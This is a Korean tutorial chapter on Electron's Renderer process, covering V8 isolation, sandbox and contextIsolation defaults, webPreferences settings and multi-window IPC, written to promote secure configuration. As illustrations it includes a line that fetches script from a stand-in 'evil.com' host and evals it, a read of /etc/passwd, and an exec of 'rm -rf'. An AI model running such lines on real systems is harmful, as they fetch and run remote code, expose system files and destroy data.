⚡ Electron1. 프로세스 모델03 — Renderer 프로세스

03 — Renderer 프로세스

한 줄 답: Renderer는 Chromium 탭 한 개와 같은 프로세스다 — V8 isolate로 격리되고, sandbox가 v20부터 디폴트로 켜져 있으며, nodeIntegration이 v5부터 디폴트 false다. 웹페이지처럼 생겼지만 같지 않다 — 같은 origin 안의 다른 창에도, OS의 fs에도 직접 닿지 못한다.


Why — Renderer를 격리해야 하는 이유

질문을 뒤집어보자. Renderer를 격리하지 않으면 어떻게 되는가?

// 가상의 시나리오 — Renderer가 Node 전권을 갖는다면
fetch('https://cdn.evil.com/widget.js').then(r => r.text()).then(eval)
// → 이 한 줄로 require('fs').readFileSync('/etc/passwd')도 실행 가능

Electron v0.x ~ v4 시절의 디폴트가 그랬다. nodeIntegration: true였고, <script src="https://...">호스트의 Node API에 닿을 수 있었다. XSS 한 번이 OS 명령 실행이었다.

이게 2016년 Discord 이슈, 2018년 Skype RCE, 2019년 VSCode 이슈 등 잇따른 사고의 원인이었다. 그래서 Electron 팀은 디폴트를 조이는 방향으로 계속 움직였다.

버전변화의미
v5 (2019)nodeIntegration 디폴트 falseRenderer에서 require('fs') 못 함
v12 (2021)contextIsolation 디폴트 truepreload와 메인 월드 분리
v20 (2022)sandbox 디폴트 trueChromium OS-level sandbox 활성
v22 (2023)UtilityProcess 정식무거운 Node 작업 분리
v28 (2023)ESM preload 지원import 가능

Renderer가 제한된다는 건 불편이 아니라 안전선이다. 이 안전선을 뚫는 유일한 합법적 통로가 preload다.


How — Renderer는 무엇을 할 수 있고 무엇을 못 하는가

할 수 있는 것

  • DOM 조작: document, window, HTMLElement 전부
  • Web API: fetch, WebSocket, Worker, IndexedDB, Notification, localStorage
  • Canvas/WebGL/WebGPU
  • React, Vue, Svelte 등 모든 SPA 프레임워크 — 그대로 동작
  • DevTools (Cmd+Option+I / Ctrl+Shift+I)
  • preload가 노출한 좁은 API (window.electronAPI.openFile() 같은)

못 하는 것 (sandbox + contextIsolation 디폴트 기준)

  • require('fs'), require('child_process'), require('os') — 아예 require가 없음
  • process.env, process.platform 직접 접근 (preload에서 노출해주지 않으면)
  • 다른 BrowserWindow의 함수 직접 호출
  • 시스템 파일 시스템 접근 (File System Access API는 제한적으로 동작)
  • 네이티브 모듈 import

한 줄 요약: “브라우저에서 할 수 있는 만큼만, 그 이상은 모두 preload 경유”.


V8 isolate — 무엇이 격리되는가

Renderer는 V8 isolate 하나를 가진다. isolate는 V8의 격리 단위로 — 같은 isolate 안의 객체는 서로 보지만, 다른 isolate의 객체는 볼 수도 없다.

흥미로운 디테일: contextIsolation: true일 때 한 Renderer 프로세스 안에 V8 isolate가 두 개 들어간다.

  1. 메인 월드index.html이 로드한 JS가 사는 곳. React가 여기 산다.
  2. isolated world — preload 스크립트가 사는 곳. 같은 DOM을 보지만 V8 객체 그래프는 분리.

같은 document공유하지만 함수·프로토타입·전역 변수는 따로다. 이게 04 preload의 핵심 메커니즘.


What — Renderer 코드의 구조

{/* index.html */}
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8" />
  {/* CSP — Electron이 권장하는 보안 헤더 */}
  <meta http-equiv="Content-Security-Policy"
        content="default-src 'self'; script-src 'self'" />
  <title>My App</title>
</head>
<body>
  <div id="root"></div>
  <script type="module" src="./renderer.js"></script>
</body>
</html>
// renderer.js — *순수 웹 코드*다
console.log(process.type)                  // 'renderer'
console.log(typeof window.require)         // 'undefined' (sandbox ON)
console.log(typeof window.electronAPI)     // 'object' — preload가 노출한 것
 
// 정상 동작
document.getElementById('root').innerText = 'Hello'
const data = await fetch('/api/users').then(r => r.json())
 
// 정상 동작 X — 차단됨
// require('fs')           // ReferenceError: require is not defined
// process.exit()          // 일부만 가능. process.type만 있고 .exit은 없을 수 있음
 
// preload 경유로 OS 닿기
const file = await window.electronAPI.openFile()
console.log(file.contents)

Renderer 코드는 React/Vue 앱과 99% 동일하다. 다른 1%는 window.electronAPI 같은 preload 노출 객체뿐. 그래서 기존 SPA를 Electron으로 옮기는 것이 상대적으로 쉽다.


process.type 확인

// renderer.js
if (process && process.type === 'renderer') {
  console.log('Renderer 안에서 돌고 있습니다')
}
// 브라우저 단독 실행이면 process가 undefined이거나 type이 없음

이 패턴은 같은 코드가 Electron과 일반 브라우저에서 모두 돌아야 할 때 쓴다 (예: Storybook).


webPreferences — Renderer의 안전 다이얼

BrowserWindow 생성 시 옵션이 Renderer의 권한을 결정한다.

new BrowserWindow({
  webPreferences: {
    preload: path.join(__dirname, 'preload.js'),
 
    // 안전 디폴트 — v20+에서는 명시 안 해도 됨, 하지만 명시가 좋다
    contextIsolation: true,    // preload와 메인 월드 분리
    sandbox: true,             // OS-level sandbox
    nodeIntegration: false,    // Renderer에서 Node 못 씀
    nodeIntegrationInWorker: false,
    nodeIntegrationInSubFrames: false,
    webSecurity: true,         // CORS·동일 출처 정책 활성
 
    // 위험 — 절대 켜지 말 것 (특별한 이유가 없는 한)
    // contextIsolation: false,
    // nodeIntegration: true,
    // webSecurity: false,
  },
})

sandbox: true가 켜지면 — Renderer는 Chromium OS-level sandbox에 갇힌다. 이는 OS가 강제하는 격리로, V8 격리보다 한 층 더 깊다. seccomp(Linux), App Sandbox(macOS), AppContainer(Windows)를 사용한다.

sandbox는 Chromium이 직접 보장하는 격리다. JS 차원의 차단이 아니라 프로세스 자체가 OS 시스템 콜 제한을 받는다. 이게 Renderer crash가 시스템에 해를 못 끼치는 이유.


Renderer는 여러 개 있을 수 있다

BrowserWindow를 N개 만들면 Renderer 프로세스가 N개 뜬다 — 디폴트로. (예외: affinity 옵션, BrowserView, WebView 등.)

const win1 = new BrowserWindow({ ... })  // Renderer #1
const win2 = new BrowserWindow({ ... })  // Renderer #2
const win3 = new BrowserWindow({ ... })  // Renderer #3

각 Renderer는 별도 V8 isolate다. 서로 직접 통신 못 한다.

// renderer1.js 안에서
// win2에 있는 함수를 직접 호출? 불가능.
// → Main을 거쳐야 한다:
window.electronAPI.sendMessageToWindow(2, 'hello')
// preload → ipcRenderer.invoke('msg-to-window', { id: 2, payload: 'hello' })
//   → Main이 win2.webContents.send('msg', 'hello')로 전달

이게 멀티 윈도우 앱의 가장 흔한 함정이다. SPA의 single source of truth 개념이 프로세스 경계에서 끊긴다. 상태 동기화를 Main을 허브로 두고 푸시-기반으로 짜야 한다.


What-if — Renderer를 과보호하면, 또는 과개방하면

상황결과
nodeIntegration: true (과개방)XSS 한 번 = require('child_process').exec('rm -rf') 실행 가능
contextIsolation: false (과개방)preload가 메인 월드와 같은 isolate → 메인 월드가 window._private를 덮어쓰면 preload도 영향
sandbox: true + 무거운 작업 (과보호)Renderer에서 crypto.subtle.digest도 OS 시스템 콜 일부가 막혀 느려질 수 있음 → UtilityProcess로 분리
webSecurity: false (과개방)CORS 무시 → 외부 도메인이 내 앱 안에서 데이터 접근

황금 디폴트: contextIsolation: true + sandbox: true + nodeIntegration: false + webSecurity: true + 좁은 preload + CSP. 이게 05 보안에서 깊이 다룰 5중 안전선.


Insight — Renderer를 순수 웹앱으로 다루는 게 정답

가장 깨끗한 Electron 아키텍처는 — Renderer를 Electron이라는 사실을 모르는 순수 웹앱처럼 짜는 것이다.

renderer/                     ← Electron을 모르는 React 코드
  ├─ components/
  ├─ pages/
  ├─ api.ts                  ← preload가 노출한 window.electronAPI를
  │                              일반 fetch처럼 감싸는 래퍼
  └─ ...

preload.js                    ← Renderer ↔ Main 다리만
main.js                       ← Node 로직

이렇게 분리하면:

  • Renderer를 브라우저에서 단독 실행하면서 개발할 수 있다 (Vite dev server 등).
  • Storybook·테스트를 Electron 없이 돌릴 수 있다.
  • PWA 버전으로 같은 코드를 재사용할 수 있다.
  • 보안 표면이 *명확히 한 곳(preload)*에 모인다.

즉, Renderer는 “Electron 안의 React”가 아니라 “그냥 React”여야 한다. Electron 종속성이 새어나오는 순간 — 테스트도, PWA 이식도, 보안 감사도 모두 어려워진다.


요약

Renderer는 Chromium 탭 한 개와 같은 프로세스다. V8 isolate로 격리되고 sandbox가 디폴트로 켜져 OS 시스템 콜이 제한된다. Node도, 다른 창의 함수도, OS fs도 직접 닿지 못한다. 닿으려면 반드시 preload를 경유한다 — preload가 contextBridge로 노출한 좁은 함수만이 합법적 통로다. Renderer 코드는 Electron을 모르는 순수 웹앱처럼 작성하는 것이 가장 깨끗한 패턴 — 테스트도, 보안도, 재사용성도 그 방향에서 가장 잘 풀린다.